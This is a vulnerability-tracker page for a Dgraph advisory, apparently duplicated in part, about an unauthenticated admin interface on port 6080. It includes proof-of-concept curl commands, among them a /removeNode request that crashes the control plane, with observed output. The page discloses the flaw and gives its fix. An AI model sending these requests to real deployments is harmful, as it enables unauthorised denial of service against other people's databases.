Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.1
CVE-2026-102748: Dgraph 25.3.8 lets anyone stop the database
CVE-2026-102748 · published 1 month ago
Summary
The Dgraph database version 25.3.8 runs an administrative web interface on port 6080 that does not require any login. Anyone who can reach that port can send a special request that disables the core service, causing the database to stop working. Protect the port with a firewall or upgrade to a version where the admin interface is secured.
What to do
- Update github.com dgraph-io to version 25.4.0.
- Update dgraph-io github.com/dgraph-io/dgraph/v25 to version 25.4.0.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| – | dgraph-io | dgraph | < 25.4.0 |
| go | github.com | dgraph-io |
<= 25.3.8 Fix: upgrade to 25.4.0
|
| Go | dgraph-io | github.com/dgraph-io/dgraph/v25 |
< 25.4.0 Fix: upgrade to 25.4.0
|
Original advisory text
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
### Summary
Dgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.
The exposed routes include:
- `/state`
- `/assign`
- `/removeNode`
- `/moveTablet`
An unauthenticated request to `/removeNode?id=1&group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.
### Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
- `worker/server_state.go:41`
- `dgraph/cmd/zero/run.go:295-301`
- `dgraph/cmd/zero/http.go:106-129`
- `dgraph/cmd/zero/zero.go:475-477`
The relevant behavior is:
- `disable-admin-http=false` by default
- `/removeNode` accepts attacker-controlled `id` and `group`
- `removeNode` forwards those directly into `Server.RemoveNode`
- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`
This means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.
### PoC
### Read state without authentication
```bash
curl -i http://127.0.0.1:6080/state
```
Observed response included:
- Zero node `id=1`
- `groupId=0`
- `leader=true`
- cluster topology and tablet state
<img width="1878" height="810" alt="图片" src="https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a" />
### Write-capable route without authentication
```bash
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
```
Observed response:
```text
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
```
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />
### Destructive unauthenticated removeNode
```bash
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
```
Observed result:
```text
curl: (52) Empty reply from server
```
<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />
Immediately afterward:
```bash
curl -i http://127.0.0.1:6080/health
```
Observed result:
```text
curl: (56) Recv failure: Connection reset by peer
```
<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
```text
dial tcp [::1]:5080: connect: connection refused
```
<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />
This confirms the request reached the destructive path and disrupted the Zero control plane.
### Impact
Any deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.
An attacker can:
- read cluster topology and control-plane metadata
- allocate IDs and timestamps
- invoke destructive membership actions
- disrupt the Zero control plane
- indirectly destabilize Alpha nodes that depend on Zero connectivity
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
Dgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.
The exposed routes include:
- `/state`
- `/assign`
- `/removeNode`
- `/moveTablet`
An unauthenticated request to `/removeNode?id=1&group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.
### Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
- `worker/server_state.go:41`
- `dgraph/cmd/zero/run.go:295-301`
- `dgraph/cmd/zero/http.go:106-129`
- `dgraph/cmd/zero/zero.go:475-477`
The relevant behavior is:
- `disable-admin-http=false` by default
- `/removeNode` accepts attacker-controlled `id` and `group`
- `removeNode` forwards those directly into `Server.RemoveNode`
- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`
This means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.
### PoC
### Read state without authentication
```bash
curl -i http://127.0.0.1:6080/state
```
Observed response included:
- Zero node `id=1`
- `groupId=0`
- `leader=true`
- cluster topology and tablet state
<img width="1878" height="810" alt="图片" src="https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a" />
### Write-capable route without authentication
```bash
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
```
Observed response:
```text
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
```
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />
### Destructive unauthenticated removeNode
```bash
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
```
Observed result:
```text
curl: (52) Empty reply from server
```
<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />
Immediately afterward:
```bash
curl -i http://127.0.0.1:6080/health
```
Observed result:
```text
curl: (56) Recv failure: Connection reset by peer
```
<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
```text
dial tcp [::1]:5080: connect: connection refused
```
<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />
This confirms the request reached the destructive path and disrupted the Zero control plane.
### Impact
Any deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.
An attacker can:
- read cluster topology and control-plane metadata
- allocate IDs and timestamps
- invoke destructive membership actions
- disrupt the Zero control plane
- indirectly destabilize Alpha nodes that depend on Zero connectivity
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
References
- https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj URL
- https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384e... URL
- https://nvd.nist.gov/vuln/detail/CVE-2026-102748 Vendor Advisory
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-1027... Vendor Advisory
- https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0 URL
- https://github.com/advisories/GHSA-qj98-gp63-54xj
- https://github.com/dgraph-io/dgraph Product
Internet-facing
3 days
Internal
60 days
- Not known to be exploited
- Can be exploited automatically
- Gives an attacker full control
Severity
9.1
Critical
Type
CWE-306Missing Authentication for Critical Function
CWE-862Missing Authorization
Timeline
Published15 Oct 2026
Updated14 Nov 2026
First seen14 Oct 2026
Sources
CVE-2026-102748 · NVD
CVE-2026-102748 · MITRE
CVE-2026-102748 · OSV
GHSA-qj98-gp63-54xj · GHSA
GHSA-qj98-gp63-54xj · OSV
Track software like this
Free during beta